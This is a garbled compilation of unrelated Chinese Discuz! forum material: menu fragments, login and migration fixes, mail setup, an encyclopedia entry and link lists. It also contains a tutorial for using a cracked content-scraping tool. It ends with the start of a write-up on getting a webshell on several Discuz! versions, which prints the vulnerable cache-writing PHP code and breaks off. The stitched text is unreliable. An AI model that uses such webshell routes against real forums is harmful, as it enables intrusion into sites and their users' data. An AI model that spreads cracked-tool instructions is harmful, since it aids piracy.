Discuz!7.2升级至Discuz!X1.5后用户无法登陆
discuzx1.5管理中心 - 论坛编辑版块
动态管理
相册管理
图片管理
评论/留言管理
分享管理
用户
用户管理
添加用户
用户栏目
资料统计
发送通知
管理中心首页常用操作管理在线列表图标后台管理团队首页用户权限版块管理编辑版块站点信息注册与访问优化设置站点功能域名设置空间设置用户权限积分设置防灌水设置时间设置上传设置水印设置附件类型尺寸搜索设置地区设置排行榜设置导航设置界面设置风格管理模板管理表情管理表态动作主题鉴定编辑器设置在线列表图标内容审核论坛主题管理论坛批量删帖论坛附件管理群组主题管理群组批量删帖群组附件管理主题回收站词语过滤用户举报多版块置顶帖子优化记录管理日志管理动态管理相册管理图片管理评论/留言管理分享管理用户管理添加用户用户栏目资料统计发送通知禁止用户禁止
空间设置
用户权限
积分设置
防灌水设置
时间设置
上传设置
水印设置
附件类型尺寸
搜索设置
地区设置
排行榜设置
界面
设置Manyou 设置数据库帖子分表主题分表
Powered by Discuz! X1.5
© 2001-2010, Comsenz Inc.管理中心导航全局
站点信息
注册与访问
优化设置
站点功能
域名设置
群组
群组设置
群组分类
群组管理
群主权限
群组等级
扩展
站点广告
站点任务
道具中心
勋章中心
站点帮助
频道栏目
日志分类
相册分类
文章管理
Байду номын сангаас 模块模板
彻底解决DZ论坛登录后台操作慢
彻底解决DZ论坛登录后台操作慢刚弄的个Discuz论坛,由于空间商问题,中途换了一次服务器,IP更换了导致出现一下问题:登陆后一直显示登录框,刷新才知道已经登陆了,每次登录后都需要刷新才能显示正常,不论是会员登录还是管理员登录都一样,后台的操作也是超级的慢。
网上找了很多类似的问题故障解决方法:修改配置文件。
DZ的根目录配置文件config.inc.php,Ucenter的DATA目录下的config.inc.php配置文件等,把里面的配置信息改成与服务器/空间一致,特别注意的是配置文件的底部define(‘UC_IP’,‘你的空间IP’);这一项。
到discuz后台做相应修改。
全局—>Ucenter设置—>Ucenter IP地址设置为你的空间IP,再登录UC后台,配置应用管理—>应用IP 设置为你的空间IP。
以上方法是网站说得最多的,Discuz官方论坛的管理员一般也就这么回复出现以上问题的网友,不可否认的,以上方法确实有效(对大部分网友而言,大概80%多的用户),可能我比较倒霉,不知道搞错了哪个地方,按照上面的方法始终无法解决问题,有看到网友说,把UC里面的IP设置和DZ里面的IP设置试着删除其中一个,慢慢的试,可以解决问题,我也试过,不知道有没有网友那样成功。
唉……反正很是悲剧。
这问题整整折磨了我两天两夜外加一个早班时间,终于解决了。
下面发布我的从头到尾问题解决的所以操作,附带截图:最先用的是大家用得最多的修改配置文件config.inc.php,各种组合都试过,我的问题还没有解决。
接着到后台修改。
UC后台,看图:DZ后台一般的网友,操作到这里,他的问题应该基本上就解决了。
这是我在Discuz官方论坛发布的问题帖,查看的次数应该还算多的,回复只有8,可见出现同样问题的网友还是很多的,可能像我说的那样80%的人用以上方法都可以解决。
后来再次进入Yeah2网站的UC后台首页看到一个通知状态,“未发送的通知数”有9个,下图是我问题解决后的截图进去删掉未发送的通知数,然后就OK,马上更新下缓存,没有再像以前那样一直十个滚动状态条在那动,差不多3秒内就好了,我网站数据不多也是一方面原因。
Discuz!X1.5论坛搬家换空间详细步骤及说明
注意:此教程适用于虚拟主机用户一、后台→ 全局→ 关闭站点(为了不影响数据库备份)二、数据备份1)论坛数据库备份步骤:后台→ 站长→ 备份→ 站点全部数据→ 提交注意:备份好的数据存放在论坛根目录/data/backup_日期_ABCDEf(红色字体是备份数据名称范例)2)UCerter数据备份步骤:后台→ UCerter → 左侧数据备份→ 全部打勾→ 提交注意:备份好的数据存放在论坛根目录/uc_server/data/backup_日期_ABCDEf(红色字体是备份数据名称范例)3)头像文件备份步骤:把论坛根目录里/uc_server/data/avatar这个下载到本地存放(红色字体文档里存放的就是你论坛用户头像文件)4)板块图标设置备份步骤:把论坛根目录里/data/attachment/common这个下载到本地存放(红色字体文档里存放的就是你的论坛版块设置图标)5)伪静态规则备份(不使用伪静态功能者可忽略此项)Apache php虚拟主机的伪静态规则伪静态-Apache.txt(911 Bytes, 下载次数: 6)下载后修改文件为.htaccess格式上传论坛根目录iis windows虚拟主机的伪静态规则伪静态-iis.txt(1.02 KB, 下载次数: 9)下载后修改文件为httpd格式上传论坛根目录6)附件备份(根据自己附件实际存放地址备份)7)LOGO,favicon.ico,等备份。
三、如果继续使用原域名的话,这时就可以把域名指向新的空间地址了。
四、域名指向完成后,全新安装DiscuzX1.5程序(安装教程请参考官方贴)注意:安装时创始人的ID和密码最好与之前的保持一致,数据表前缀也要与之前名称保持一致。
五、把本教程第二步里备份的7项数据按原位置上传空间。
六、数据恢复步骤:后台→ UCerter →数据备份→ 数据恢复(此时你上传的数据非分文件会自动显示)→ 打勾→ 提交→ OK!七、核对1)后台→ 工具→ 文件权限2)对比(后台→ 站长→ UCerte r)和(后台→ UCerter → 应用管理→ 编辑)里的每项内容是否一致注意:一般出现头像无法上传、显示、更改等,八成就是这的问题。
如何解决网络无法登录账户的问题
如何解决网络无法登录账户的问题网络无法登录账户的问题是目前许多人都会遇到的一个常见烦恼。
无论是在电脑上登录个人邮箱、社交媒体账号,还是在手机上登录各类应用,都可能会遇到无法登录的情况。
本文将介绍一些常见的原因和解决方法,帮助读者解决网络无法登录账户的问题。
一、网络连接问题网络连接是许多登录问题的根源。
首先,确认自己的设备是否已正确连接到网络。
可以尝试连接其他网站或应用,如果其他网站或应用可以正常打开,那么问题很可能是出在特定的账户上。
如果所有网站或应用都无法打开,那么问题可能是网络连接本身存在故障,可以尝试重新连接无线网络、重启路由器等方式来解决。
二、账户或密码错误账户或密码错误是无法登录的另一个常见原因。
如果在输入账户名和密码后收到错误信息,那么首先要确认账户名和密码是否正确。
用户可能因为遗忘密码、输入错误的账户名等原因导致无法登录。
可以尝试通过重置密码、找回账户名等方式来解决。
许多网站和应用提供了“忘记密码”或“找回账户名”的选项,用户可以按照相应的提示进行操作。
三、账户被锁定或冻结有时,用户的账户可能会被锁定或冻结,导致无法登录。
这通常是出于安全原因,例如多次密码错误会触发账户的自动锁定。
用户可以联系相应的网站或应用的客服部门,并提供相关信息来解锁账户。
另外,某些网站或应用也提供了自助解锁的选项,用户可以按照提示进行操作。
四、网络限制或防火墙在某些情况下,网络提供商、学校或工作场所可能会对特定网站或应用进行限制,导致用户无法登录。
这通常是出于安全或管理目的。
用户可以尝试在其他网络环境下登录,如使用移动数据而不是Wi-Fi连接,或使用代理服务器来绕过网络限制。
但需要注意,这种方式可能存在安全风险,用户应谨慎操作。
五、操作系统或应用更新问题有时,操作系统或应用更新可能导致登录问题。
如果在更新之后出现无法登录的情况,可以尝试重启设备、清除应用缓存、更新应用程序等方式来解决。
如果问题仍然存在,可以尝试联系相应的技术支持部门,获取更多帮助。
运城论坛_百度百科_YCBBS
运城论坛百度百科目录1运城论坛2版块组成3论坛口号4论坛发展5论坛文化运城论坛运城论坛创建于2010年3月,是山西省运城市综合性门户网络社区!运城论坛之所以做成综合性论坛,缘于运城本土网络业的不甚发达,网民渴望得到更多的本地咨讯,基于运城论坛的域名优势和团队优势,以宏观长远的目标来建设,基本锁定于太原各个领域的新闻,生活,情感,婚嫁,房产,汽车交易等资讯交流。
运城论坛汇聚了一群热爱生活,热情直爽,互助友爱的用户,并将一直热情的走下去。
版块组成前期将以虚拟空间支持,MYSQL+PHP架构,配合DX1.5个性化模板,以windows2003为服务器主流系统,支持iis并发连接5000以内。
分类信息运城求职招聘,房屋租售,跳骚市场,征婚交友,便民服务今日运城运城杂谈,谈天说地,运城达人秀,社区活动分享生活运城美食,时尚购物,亲子家园,车行天下娱乐休闲情感驿站,文娱影音,体育休闲,旅游户外站务管理论坛事务,意见建议、版主申请、链接申请、申请勋章、版主任免、处罚禁言!论坛口号关注运城分享自我论坛发展2010年3月06日运城论坛建立2010年3月17日网站备案通过: 晋ICP备10002560号2010年3月31日社区积分、勋章、制度、相关规则启动2010年4月03日谷歌PR值首次更新即为PR32010年4月14日运城论坛程序Discuz! 7.0 顺利升级到Discuz! 7.2 2010年4月15日运城论坛会员突破500人2010年4月15日运城家园(SNS UCHOME)上线测式2010年5月02日运城论坛·首次线下聚会成功举办2010年8月08日运城论坛·东花园夏日聚会成功举办2010年9月25日运城论坛程序Discuz! 7.2 顺利升级到Discuz! X1.5 2010年10月4日运城论坛·凤凰谷真人CS活动连续进行3季2011年3月16日运城论坛·一周年东星聚餐活动2011年5月21日运城论坛程序Discuz! X1.5 顺利升级到Discuz! X2 论坛文化宗旨:为运城朋友提供最全面的生活服务使命:通过社区交流提高运城人民的生活质量愿景:打造运城地区最综合的社区门户理念:一切以服务运城人民的价值为中心参考资料:运城论坛:。
discuzx1.5发邮件设置
Discuzx出来半年多了,历经X 1.0一直到现在的X1.5。
出于项目的需要我对discuzx1.5也研究了3个多月了,可以说对discuzx1.5的各个环节已经摸得很清楚了,今天我就discuzx1.5的发邮件设置跟大家交流下!我就以我自己的discuzx1.5搭建的论坛 为例跟大家讲解吧!一、登录dx后台,打开菜单:站长---- 邮件设置----设置,如下图:二、我这里讲解2中设置方法,即网易邮箱和腾讯邮箱这2种。
1.网易邮箱设置如下:邮件发送方式:选第二个--通过SOCKET 连接SMTP 服务器发送(支持ESMTP 验证)SMTP 服务器: SMTP 端口: 25验证: 勾要勾上发信人邮件地址:填你的邮箱地址,这里是网易的,为用户名@SMTP 身份验证用户名: 网易的邮箱的用户名(注意这里不要加@)SMTP 身份验证密码: 邮箱密码邮件头的分隔符: windows选第一个,linux选第二个下面2项全部选“是”.好了,我们来测试一下!在站长---- 邮件设置----检测中输入我的QQ邮箱,2个都这样设置,然后点击下面的确定按钮,返回成功的消息,如下图:同时,我的QQ邮箱收到2封邮件,说明设置成功了!2.设置腾讯的QQ邮箱其实设置都差不多设置如下:邮件发送方式:选第二个--通过SOCKET 连接SMTP 服务器发送(支持ESMTP 验证)SMTP 服务器: SMTP 端口: 25验证: 勾要勾上发信人邮件地址:填你的邮箱地址,这里是网易的,为QQ数字用户名@,如987456321@SMTP 身份验证用户名: QQ数字用户名,如987456321(注意这里只能用数字用户名,而不能用别名)SMTP 身份验证密码: 邮箱密码邮件头的分隔符: windows选第一个,linux选第二个填好后测试方法和上面是一样的。
好了,很简单吧,呵呵!相信大家都会设置了!!如还有问题请到我百度空间:/forestlong 留言给我吧,同时有相关技术问题,也可以在我空间和我交流,呵!–––。
论坛账号无法登录的解决方法
论坛账号无法登录的解决方法
论坛账号无法登录的解决方法如下:
1. 检查网络连接:确保设备已连接到互联网,并且网络连接稳定。
可以尝试访问其他网站,以确认网络是否正常工作。
如果其他网站可以正常访问,那么问题可能出在论坛服务器上,可以稍后再尝试登录,或者联系管理员寻求帮助。
2. 清除浏览器缓存和Cookies:有时候,浏览器缓存和Cookies可能会导致论坛登录失败。
可以尝试清除浏览器的缓存和Cookies,然后重新尝试登录。
3. 检查论坛配置文件:确保论坛的配置文件中的信息正确无误。
可以参考配置示例,检查数据库类型、数据库服务器地址、数据库名、用户名、密码和端口等是否正确。
4. 联系管理员或技术支持:如果尝试了以上方法仍然无法登录论坛,那么可能是服务器端的问题。
建议联系管理员或论坛官方技术支持寻求帮助,他们可以帮助诊断问题并提供解决方案。
5. 确保已经正确输入用户名和密码。
在输入时,请特别注意大小写和空格。
6. 确保账号处于活跃状态。
有些论坛可能会注销或禁用不活跃的账户。
7. 尝试清除论坛应用程序的缓存和数据,然后重新启动应用程序。
这通常可以解决许多常见问题。
以上是论坛账号无法登录的解决方法,希望能够帮助到您。
狂人采集器破解使用教程
狂人采集器破解版图文教程教程:1、打开附件中的文件CensorWords.txt,全选复制2、进入系统后台,帖子-词语过滤-批量粘贴(dz7.2之前版本),(x1 x1.5版本路径为:后台-内容-词语过滤)3、找到批量添加,右键粘贴4、点击确定之后,可以看到系统默认粘贴后的文件是以**代替其中的广告,如图:注意替换为下面的**,这是屏蔽词语后系统默认生成的。
所以自己要手动把替换的关键词**删除,然后保存。
保持后的效果:所以看到替换为下面的**都没有了。
这样采集后的内容就没有广告了。
原理:屏蔽广告关键词。
疑问:1、此破解版的优势和另一个破解版的优势在哪里/答:此破解版不会再采集的时候不稳定和采集内容为空,有个破解版的不稳地,而且然后采集到空内容的时候,发帖时候还是会有广告,而且此法适用于狂人采集器的各种版本,不像是那种破解版只适用于dz7.2。
所以几乎没有局限性2这些屏蔽的关键词会不会把帖子内容也屏蔽掉?答:这些关键词是我自己花了一天时间来总结的。
除非你的帖子内容和广告语一样,否则不会屏蔽,我估计帖子内容和广告语一样的可能性很小吧?最后一点,因为我测试的网站是discuz 7.2 gbk版本的。
理论上其他版本也可以通用的。
毕竟广告内容也一样,但是也不排除有些广告屏蔽不完整的可能(说实话我论坛基本上没有广告了),如果因为版本兼容问题的原因而造成广告不干净的话,我再告诉大家一个简单的设置方法。
(1)汇总一下发帖后还出现的广告词,比如:“狂采器是论坛”这几个广告词不干净(2)打开word文档,把不干净的广告词粘贴一下(3)在word里面操作命令:Ctrl+A全选文档,再Ctrl+H ,调出替换窗口查找内容填写“^?”,替换为填写^& (注意^&后面要有一个空格),点击全部替换替换后的效果是“狂采器是论坛”(如果不能出现这个效果,请注意点击一下不限定格式)(4)再一次全选文档(Ctrl+A),然后操作命令:Ctrl+H,调出替换窗口,查找内容填写“”(即填写一个空格),替换为填写“{4}”点击全部替换替换后的效果是“狂{4}采{4}器{4}是{4}论{4}坛”这样就可以在每两个字符中间就插入了上{4}了。
discuz! database error
discuz! database error标题:Discuz!数据库错误摘要:本文介绍了 Discuz!论坛平台中可能出现的数据库错误,以及解决这些错误的方法。
首先,我们将说明什么是Discuz!数据库错误,以及常见的错误类型。
然后,我们将讨论一些可能导致这些错误的原因,并提供适用于各种错误类型的解决方案。
最后,我们将给出一些建议,帮助您预防和避免遇到这些错误。
第一部分:Discuz!数据库错误简介Discuz!是一个功能强大且非常受欢迎的开源论坛平台,用于创建和管理在线社区。
然而,在使用Discuz!时,用户可能会遇到各种数据库错误。
这些错误可能会导致站点无法正常运行,甚至导致数据丢失。
了解这些错误并知道如何解决它们是维护Discuz!网站的重要一环。
第二部分:常见的Discuz!数据库错误在这一节中,我们将介绍一些常见的Discuz!数据库错误,包括以下几种类型:1. 连接错误:当Discuz!无法连接到数据库时,会出现此错误。
可能的原因包括错误的数据库配置、数据库服务器不可用等。
2. 数据库查询错误:这种错误通常是由于错误的SQL语句或数据库表结构不一致导致的。
这可能会导致无法获取或更新数据。
3. 数据库备份和恢复错误:如果在进行数据库备份或恢复过程中出现错误,可能会导致数据丢失或无法正确恢复。
4. 数据库表错误:这种错误通常是由于数据库表损坏或被删除导致的。
这可能会导致无法访问特定的论坛功能或数据。
第三部分:可能导致Discuz!数据库错误的原因在这一节中,我们将讨论一些可能导致Discuz!数据库错误的常见原因,包括以下几点:1. 错误的数据库配置:如果Discuz!的数据库配置不正确,连接数据库时就会出现错误。
2. 数据库故障:数据库服务器的故障或不可用可能会导致Discuz!无法正常连接或访问数据库。
3. 网络问题:网络故障、网络连接不稳定等原因可能导致Discuz!无法连接到数据库服务器。
Dz7.2 UCH 2.0 UC1.5 成功升级到DX,放出演示地址及转换经验
UCenter是默认的uc_为前缀的数据库——到DX的话,还是uc_前缀
2、数据库对比
以discuz 7.2数据库为例,论坛主要有四个表比较重要
cdb_forums 版块列表 到DX的话就是 forum_forum
Dz7.2\ UCH 2.0\ UC1.5 成功升级到DX,放出演示地址及转换经验
演示地址:/dx/forum.php
分享一下转换经验:
1、 分析数据库
DX是默认per_为前缀的数据库,所以在安装测试数据库的时候,把per_去掉
Discuz 7.2是默认的cdb_为前缀的数据库——到DX的话,就是forum_前缀,部分是common_
cdb_members 会员列表 到DX的话就是common_member
cdb_threads 主题列表 到DX的话就是 forum_thread
cdb_posts 帖子内容列表 到的话就是 forum_post
将这些表修改好前缀名称后,将修改好的discuz 7.2 的上面的数据库的表名称的文件考入一个文件夹:名称为dz
不过目前把论坛和uchome的内容数据导入进来,我可以按照我的论坛进行修改其模板内容,并且制作些图片,待正式版出来后,就可以立刻升级了!
不过讲在升级之后!你要对你的DX进行侧边拖拽!像我这个论坛的首页,拖拽了2个小时!汗汗!要不然,右边空空的,太难看了!
其他关键表都以此类推即可!
这些只是初步!
目前发现DISCUZ的附件地址、UCHOME的表情格式、附件地址都发生了变化。没有官方的升级程序是不行的
另外对于common_member 表及附表,包括会员资料、积分、详细信息都和DISCUZ、uchome的表不一样!相关数据需要对表中的字段进行选择导入,比较麻烦!类似的还有forum表、uchome的投票等表,都是一些比较难解决的问题!
Discuz论坛7.2安装,使用,维护教程
一.Discuz7.0/7.1在安装过程中遇到的常见问题及其解决方法1,无法继续安装出现Can't connect to MySQL server on 'localhost' (10061)解决方法:MySQL服务没有启动,请启动该服务或者是您服务器上没有安装MYSQL2,出现类似错误Cache List: settings index ipbanned style_ usergroup_7Caches successfully created, please refresh.解决方法:正常情况应该是style_后面有数字跟着,比如style_1 style_2 style_3 ,因此根据出错提示,应该是settings表缺少styleid字段导致请先检查你的数据结构是否完整/viewthread.php?tid=129707工具更多详细解释:/viewthread.php?tid=2166643,安装论坛的时候提示:Error: Unknown character set: 'gbk'Errno.: 1115解决方法:设置的字符集MYSQL并没有支持,您可以尝试更换其他字符集或者设置MYSQL 支持GBK字符集等4,Error: Can't connect to local MySQL server through socket '/tmp/mysql.sock' (2)解决方法:服务器端口不对,请咨询空间商正确的端口5,进行安装时,到达这步时只出现这些提示信息,下面空白,没有任何显示,无法进行安装解决方法:>> Discuz! Board Installation Wizard--------------------------------------------------------------------------------欢迎来到Crossday Discuz! Board 安装向导,安装前请仔细阅读最终用户许可协议的每个细节,在您确定可以完全理解、同意并遵守授权协议的全部内容之后才能开始安装。
Discuz!X1.5帖子标题长度限制修改过程记录
style="font-size:14px;"> Discuz!X1.5帖子标题长度限制修改过程记录系统版本:Discuz!X1.5修改目标:将Discuz!X1.5帖子标题限制修改为200字符。
过程摘要:1、全目录搜索“> 80”后得到很多判断结果,依据文件名确认需修改forum.js,forum_post.js,function_post.php三个文件。
修改lang_message.php中的提示信息。
2、修改数据表ttr_forum_post,ttr_forum_thread中的subject为VARCHAR(200)和CHAR(200)。
3、上传测试,发现页面内有JS字符判别代码。
4、搜索checklen后筛选结果,确认修改forumdisplay_fastpost.htm与post.htm模板。
思考:应先修改数据库,然后修改并上传function_post.php,再上传Javascript文件,最后上传模板和语言文件。
详细记录:1、数据库修改:表[pre]forum_post中存在subject字段,编辑修改为VARCHAR(200);表[pre]forum_thread中存在subject字段,编辑修改为CHAR(200);2、修改function_post.php文件(/source/function/function_post.php)搜索代码:?1if(strlen($subject) > 80) {修改为:?1if(strlen($subject) > 200) {3、修改forum.js文件(/static/js/forum.js)搜索代码:?12} else if(mb_strlen(theform.subject.value) > 80) { s = '您的标题超过 80 个字符的限制。
';修改为:?12} else if(mb_strlen(theform.subject.value) > 200) { s = '您的标题超过 200 个字符的限制。
Discuz论坛教程和相关问题解决方案
【导读】各位朋友在使用Discuz过程中多多少少会遇见一些虽然看似简单,却很棘手的问题,这里为了方便大家查找相关的问题,故发此帖来整理本站里的一些Discuz教程以及问题解决方案!一、Discuz教程置顶帖:Discuz!X2.5全新安装图文教程【官方教程】/thread-1751-1-1.htmlphpmyadmin数据该如何备份和回复/thread-70-1-1.htmlDiscuz各版本升级前的准备/thread-71-1-1.htmlDiscuz!X系列任意版本到Discuz!X2.5 升级图文教程(官方教程)/thread-72-1-1.htmlDiscuz论坛首页discuz.htm代码讲解和修改指导/thread-65-1-1.html1、怎样才能让百度快速收录Discuz内容?/thread-64-1-1.html2、菜菜互联空间IIS伪静态规则http.ini文件/thread-67-1-1.html3、Discuz论坛出现错误提示SELECT * FROM common_syscache WHERE cname IN解决办法/thread-69-1-1.html4、Discuz登陆后自动退出的解决办法/thread-76-1-1.html5、经典、漂亮的Discuz二级导航/thread-84-1-1.html6、升级 2.5后更新缓存提示Table 'common_member_archive' doesn't exist的解决方法/thread-111-1-1.html7、Discuz!X2.5 主题出现两个“相关帖子”,有没有办法去掉一个呢?/thread-112-1-1.html8、Discuz网站顶部加年月日星期农历现在时刻/thread-102-1-1.html9、Discuz!X2.5 首页N格插件分享/thread-98-1-1.html10、Discuz搜索框后面添加天气预报/thread-105-1-1.html11、Discuz论坛数据备份教程(帝国备份王使用说明)/thread-158-1-1.html12、Discuz!X2.5 优化全攻略(珍藏版)/thread-161-1-1.html13、DZ论坛底部美化代码(免责声明+运行时间)14、Discuz!X2.5 非常美观的帖子内容美化框,主题与回复分别美化,加发表时间阅读人数/thread-104-1-1.html15、Discuz论坛网站顶部加年月日星期农历现在时刻加入时辰与温馨提示/thread-193-1-1.html16、Discuz!X2.5 分类信息模版(DZ官方出品)/thread-197-1-1.html17、Discuz论坛中UCenter创始人、Discuz!创始人、管理员帐号之间的区别/thread-199-1-1.html18、Discuz! X2.5上传大尺寸图片提示“没有合法的文件被上传”更改方法/thread-200-1-1.html19、Discuz! X2.5帖子左侧栏加回加好友及打招呼功能/thread-201-1-1.html20、X版本更改用户名方法【官方教程】/thread-202-1-1.html21、Discuz! X2.5论坛站点广告设置(官方教程)/thread-205-1-1.html22、怎么快速去掉帖内“分享到”以及“分享、收藏、评分、支持”按钮/thread-207-1-1.html23、Discuz!X2.5 许愿天空SKY插件/thread-208-1-1.html24、如何去掉Discuz快捷导航/thread-209-1-1.html25、如何有效过滤发贴机的伪签名?/thread-210-1-1.html26、Discuz!X2.0/X2.5每日抢楼插件,Discuz!最具互动性插件之一!/thread-213-1-1.html27、Discuz!X2.5 首页N格插件(带滚动)免费下载(附图)/thread-214-1-1.html28、Discuz!X2论坛自动顶帖插件自动回帖火爆你的论坛/thread-215-1-1.html29、Discuz!X2.5 帖子标题80个字符限制的修改问题/thread-216-1-1.html30、UCenter版本号不正确的原因和处理办法(提示请先升级 UCenter 到1.6.0 以上版本)/thread-218-1-1.html31、Discuz!X2 预防发帖人伪造个性签名的方法/thread-217-1-1.html32、Discuz 如何去掉“下载附件”提示信息教程/thread-220-1-1.html33、Discuz!X2.5 驻马店论坛内帖内游客注册提示,点击可关闭34、Discuz!NT 3.0、3.1、3.5、3.6、3.9 各版本转换到 Discuz! X2.5版本【官方教程】/thread-222-1-1.html35、UCenter通信失败修复工具测试版【官方提供】/thread-223-1-1.html36、Discuz!X2.5 驻马店【网站地图sitemap】精致美观,有兴趣的朋友请及时下载/thread-224-1-1.html37、驻马店首页“关于我们”页面效果/thread-225-1-1.html38、去掉Discuz论坛中forum.php最全的方法,使得网站URL标准化/thread-254-1-1.html39、如何把Discuz论坛首页的最后发表的帖子链接为静态地址的方法/thread-256-1-1.html40、修改kk_xshow首页多格显示大图,还有天气预报显示/thread-679-1-1.html41、跟大家分享一个很不错的图文并茂的Discuz二级导航/thread-684-1-1.html42、IOTman论坛二级导航代码/thread-686-1-1.html43、Discuz!X2.5 自带的数据库备份教程/thread-795-1-1.html44、教你如何解决Discuz重复登录后台的“难题”【官方教程】/thread-796-1-1.html45、完美解决(1146) Table 'mon_member_archive' doesn't exist /thread-797-1-1.html46、使用QQ登陆后,完善资料,如何取消使用QQ头像的默认勾选?/thread-798-1-1.html47、Discuz!X如何设置文件夹权限777?/thread-799-1-1.html48、Phpwind 7.5 转Discuz!X教程(官方教程)/thread-873-1-1.html49、用Discuz的建议把顶级域名重定向到www域名(这个非常重要!)/thread-878-1-1.html50、Discuz论坛如何实现买卖、招聘、房产(分类信息)/thread-885-1-1.html51、Discuz!X2.5 左侧版块导航如何设置成默认展开?/thread-886-1-1.html52、首页N格,纯DIY,免费下载啦!/thread-887-1-1.html53、Discuz!X2.5 标签(tag)伪静态设置方法及规则/thread-888-1-1.html54、Discuz 文章内如何添加“上一篇”、“下一篇”的功能?55、站长基地网站左侧使用的全局小图片广告怎么实现?(适用Discuz所有版本)/thread-890-1-1.html56、风格《 qing》瀑布流展示把——喜欢【更改为】浏览(查看)教程方法/thread-1070-1-1.html57、如何使用htaccess实现301重定向【官方教程】/thread-1137-1-1.html58、Discuz论坛子域名重复登录怎么解决【官方教程】/thread-1241-1-1.html59、门户文章列表右侧“相关分类”如何删除?/thread-1298-1-1.html60、Discuz!X2.5 如何实现瀑布流效果?/thread-1299-1-1.html61、如何对DZ论坛进行伪静态和防盗链设置?/thread-1300-1-1.html62、Discuz论坛内容关联链接蓝色实线的下划线如何改为蓝色虚线?/thread-1301-1-1.html63、Discuz!X 论坛版块真正分区伪静态设置教程/thread-751-1-1.html64、Discuz!X2.5 怎么让QQ注册后跳转到完善资料页并强制设置密码/thread-255-1-1.html65、如何解决Discuz!X2.5 无法上传大像素高清图片的问题(官方教程)/thread-1796-1-1.html66、Discuz论坛如何开启Gzip压缩功能(详细教程)/thread-1816-1-1.html67、Discuz论坛搬家需要修改的三个文件/thread-1829-1-1.html68、如何为网站帖子链接和签名加“nofollow”属性,保护你的网站权重/thread-1830-1-1.html69、如何让Discuz!X2.5 兼容Discuz!X2.0的插件【官方教程】/thread-1831-1-1.html70、Discuz!X2.5 开启Memcached后缓存没有正常更新的解决方案/thread-1832-1-1.html71、Discuz!X2.5 教大家不用FTP就可以去除“powered by discuz”的方法/thread-1833-1-1.html二、问题修复1、Discuz!X2.5 升级0701版本后图片附件不显示的解决方案/thread-185-1-1.html2、Discuz! X2.5 打上120518补丁后DIY 模块模板出现[order=N]...[/order] 问题解决办法/thread-186-1-1.html3、Discuz! X2.5 解决“本帖隐藏的内容”附件不显示问题/thread-187-1-1.html4、Discuz! X2.5 0701补丁设置阅读权限以后无法取消的解决方法【官方教程】/thread-211-1-1.html5、Discuz! X2.5 与UCenter 通信失败的解决方法总结【官方教程】/thread-226-1-1.html6、Discuz! X2.5 升级0901 出现验证码无法输入的解决办法!/thread-790-1-1.html7、Discuz! X2.5 0701 后台开启“启用登录密码加密”后,前台登录页面报错的解决办法!/thread-791-1-1.html8、Discuz! X2.5 0701 勋章设置后出现500错误,页面空白问题【官方解决办法】/thread-792-1-1.html9、Discuz! X2.5 0701 抢楼活动未开始,-1楼已中奖的显示问题【官方解决办法】/thread-793-1-1.html10、Discuz! X 个人签名长度限制无效解决方案【官方解决方法】/thread-794-1-1.html11、Discuz! X2.5 已删除的帖子,依然显示在首页怎么办?/thread-1750-1-1.html。
DZX15功能、管理介绍
论坛系统
一、板块浏览功能的改进: Discuz! X 1.5 版本的板块浏览功能做了多项细节话、人性化改进。 包括:新窗口打开浏览、精华/推荐贴快速浏览、最近浏览记录等。 浏览记录显示效果图:
论坛系统
二、帖子编辑器的改进 Discuz!X1.5做的几处改进: 标题字数提醒 编辑器高级/常用状态自由切换 添加视频、Flash、音乐文件新增友好提示 上传图片,新增图片列表、普通上传、批量上传。图片可以放入相册 编辑器快捷操作:开启/关闭自动保存、恢复数据、字数检查、 清除内容、加大/缩小编辑框 新增用户组阅读权限设置
内容审核:将系统所有需要审核的内容统一存放 用户举报:处理举报内容同时可以给举报者奖励或者惩罚 多版块置顶:任意版块置顶任意帖子 帖子优化:踢楼贴、高楼贴的优化处理
论坛后台管理
四、用户管理 用户管理、添加用户、用户栏目、资料统计、发送通知、禁止、 积分奖惩、审核新用户、管理组、用户组、明星会员、推荐好友、 资料审核、认证设置 资料统计:根据需要统计某项用户栏目 明星会员:家园中设置明星会员 推荐好友:家园中推荐好友 资料审核:根据站点运营需要,可以审核某项资料 认证设置:设置认证用户。专家认证等
论坛系统
五、帖子模块推送共享社区热点 帖子模块推送就是把某个帖子推送到某个指定的模块下进行显示,如 把某个比较热门的帖子放在今日推荐的模块里并在门户首页显示,同时也可以 让帖子生成文章, 即将某个比较重要或者回复率较高的帖子生成门户文章放在 指定的频道下进行独立显示。通过主题管理下的模块推送功能,就能轻松推送 社区精华。
论坛系统
六、帖子优化升级热帖浏览速度: 在以往的论坛体验中,会发生这样的情况,当访问某一个回复较多, 大家比较关注的帖子时,页面打开比较慢,而且翻页的时候等待的时间也比其 它帖子久。在Discuz! X 1.5版本中,在后台“内容管理”中的帖子优化功能即 可解决这个问题,让访问量再大的帖子也畅通无阻。
Discuz!各版本拿Webshell
四个版本的漏洞, Discuz! 6.0 、7.0、7.2和X1.5。
传X1.5出0day,最后神马也木见……/include/cache.func.phpPHP代码function writetocache($script, $cachenames, $cachedata = ”, $prefix = ‘cache_’) {global $authkey;if(is_array($cachenames) && !$cachedata) {foreach($cachenames as $name) {$cachedata .= getcachearray($name, $script); }}$dir = DISCUZ_ROOT.’./forumdata/cache/’;if(!is_dir($dir)) {@mkdir($dir, 0777);}if($fp = @fopen(“$dir$prefix$script.php”, ‘wb’)) {fwrite($fp, “<?php\n//Discuz! cache file, DO NOT modify me!”.“\n//Created: “.date(“M j, Y, G:i”).“\n//Identify:“.md5($prefix.$script.’.php’.$cachedata.$authkey).”\n\n$cachedata ?>”);fclose($fp);} else {exit(‘Can not write to cache files, please check directory ./forumdata/ and ./forumdata/cache/ .’);}}————往上翻,找到调用函数的地方.都在updatecache函数中.PHP代码if(!$cachename || $cachename == ‘plugins’) {$query = $db->query(“SELECT pluginid, available, adminid, name, identifier, datatables, directory, copyright, modules FROM {$tablepre}plugins”);while($plugin = $db->fetch_array($query)) {$data = array_merge($plugin, array(‘modules’ => array()), array(‘vars’ => array()));$plugin['modules'] =unserialize($plugin['modules']);if(is_array($plugin['modules'])) {foreach($plugin['modules'] as $module) { $data['modules'][$module['name']] = $module;}}$queryvars = $db->query(“S ELECT variable, value FROM {$tablepre}pluginvars WHERE pluginid=’$plugin[pluginid]‘”);while($var = $db->fetch_array($queryvars)) {$data['vars'][$var['variable']] =$var['value'];}//注意writetocache($plugin['identifier'], ”,“\$_DPLUGIN['$plugin[identifier]‘] = 